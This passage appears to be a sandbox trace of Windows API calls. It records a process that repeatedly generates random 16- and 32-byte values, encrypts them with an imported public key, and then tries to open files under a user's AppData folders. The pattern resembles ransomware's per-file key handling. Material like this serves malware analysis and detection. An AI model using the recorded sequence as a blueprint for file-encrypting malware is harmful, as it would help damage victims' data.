CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.869] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0185.871] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82998) returned 1 [0185.871] CryptGetKeyParam (in: hKey=0x4f82998, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.871] CryptEncrypt (in: hKey=0x4f82998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5c00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.871] GetLastError () returned 0x0 [0185.871] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.871] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.873] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82bd8) returned 1 [0185.873] CryptGetKeyParam (in: hKey=0x4f82bd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.873] CryptEncrypt (in: hKey=0x4f82bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5c10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.873] GetLastError () returned 0x0 [0185.873] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.873] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A95B47FD-465D-4ACE-A006-DCCC9033E6DB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a95b47fd-465d-4ace-a006-dccc9033e6db}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.874] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0185.875] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.876] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.876] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.876] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.877] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.877] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.878] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0185.879] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82c18) returned 1 [0185.879] CryptGetKeyParam (in: hKey=0x4f82c18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.879] CryptEncrypt (in: hKey=0x4f82c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5c20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.880] GetLastError () returned 0x0 [0185.880] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.880] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0185.882] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f829d8) returned 1 [0185.882] CryptGetKeyParam (in: hKey=0x4f829d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.882] CryptEncrypt (in: hKey=0x4f829d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5c30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.882] GetLastError () returned 0x0 [0185.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.882] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{AE613841-F649-4CD7-AF4A-2E7B7D99E12E}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ae613841-f649-4cd7-af4a-2e7b7d99e12e}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.882] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.884] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.884] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.884] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.886] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.886] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.886] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.886] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0185.889] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82ad8) returned 1 [0185.889] CryptGetKeyParam (in: hKey=0x4f82ad8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.889] CryptEncrypt (in: hKey=0x4f82ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5c40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.889] GetLastError () returned 0x0 [0185.889] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.889] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.891] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82c58) returned 1 [0185.891] CryptGetKeyParam (in: hKey=0x4f82c58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.891] CryptEncrypt (in: hKey=0x4f82c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5c50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.891] GetLastError () returned 0x0 [0185.891] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.891] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B5D14E8C-339B-4360-B40C-A274F460B417}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b5d14e8c-339b-4360-b40c-a274f460b417}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.891] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.893] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.893] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.893] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.895] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.895] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.895] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0185.897] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ef58) returned 1 [0185.897] CryptGetKeyParam (in: hKey=0x4f7ef58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.897] CryptEncrypt (in: hKey=0x4f7ef58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5c60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.898] GetLastError () returned 0x0 [0185.898] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.898] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.899] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f058) returned 1 [0185.899] CryptGetKeyParam (in: hKey=0x4f7f058, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.899] CryptEncrypt (in: hKey=0x4f7f058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5c70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.900] GetLastError () returned 0x0 [0185.900] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{B6815740-F01E-4E9E-AA05-D3CDE47C3DDC}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{b6815740-f01e-4e9e-aa05-d3cde47c3ddc}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.900] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.902] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.902] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.904] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.904] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.904] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0185.906] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f0d8) returned 1 [0185.907] CryptGetKeyParam (in: hKey=0x4f7f0d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.907] CryptEncrypt (in: hKey=0x4f7f0d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5c80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.907] GetLastError () returned 0x0 [0185.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.907] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.909] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f098) returned 1 [0185.909] CryptGetKeyParam (in: hKey=0x4f7f098, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.909] CryptEncrypt (in: hKey=0x4f7f098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5c90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.909] GetLastError () returned 0x0 [0185.909] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.909] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{C20F58C1-CDD0-45F9-9954-BDF0782633CB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{c20f58c1-cdd0-45f9-9954-bdf0782633cb}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.909] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0185.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.911] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.912] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0185.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.914] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.914] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.914] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.914] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.916] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ef98) returned 1 [0185.916] CryptGetKeyParam (in: hKey=0x4f7ef98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.916] CryptEncrypt (in: hKey=0x4f7ef98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ca0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ca0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.916] GetLastError () returned 0x0 [0185.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.916] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.918] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f118) returned 1 [0185.918] CryptGetKeyParam (in: hKey=0x4f7f118, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.918] CryptEncrypt (in: hKey=0x4f7f118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5cb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.918] GetLastError () returned 0x0 [0185.918] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.918] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{CE4E71D0-F1F5-4983-B2E3-40DB737B9226}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ce4e71d0-f1f5-4983-b2e3-40db737b9226}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.919] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0185.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.921] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.921] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.921] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.922] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.923] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.923] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.923] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.925] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ed18) returned 1 [0185.925] CryptGetKeyParam (in: hKey=0x4f7ed18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.925] CryptEncrypt (in: hKey=0x4f7ed18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5cc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.925] GetLastError () returned 0x0 [0185.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.925] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.927] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7ed58) returned 1 [0185.927] CryptGetKeyParam (in: hKey=0x4f7ed58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.927] CryptEncrypt (in: hKey=0x4f7ed58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5cd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5cd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.928] GetLastError () returned 0x0 [0185.928] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.928] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{D1CC3A2E-2BC2-4715-AD4C-90B4CA0868C0}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{d1cc3a2e-2bc2-4715-ad4c-90b4ca0868c0}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.959] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0185.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.962] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.962] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.962] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.964] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.964] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0185.966] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f018) returned 1 [0185.966] CryptGetKeyParam (in: hKey=0x4f7f018, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.966] CryptEncrypt (in: hKey=0x4f7f018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ce0000*, 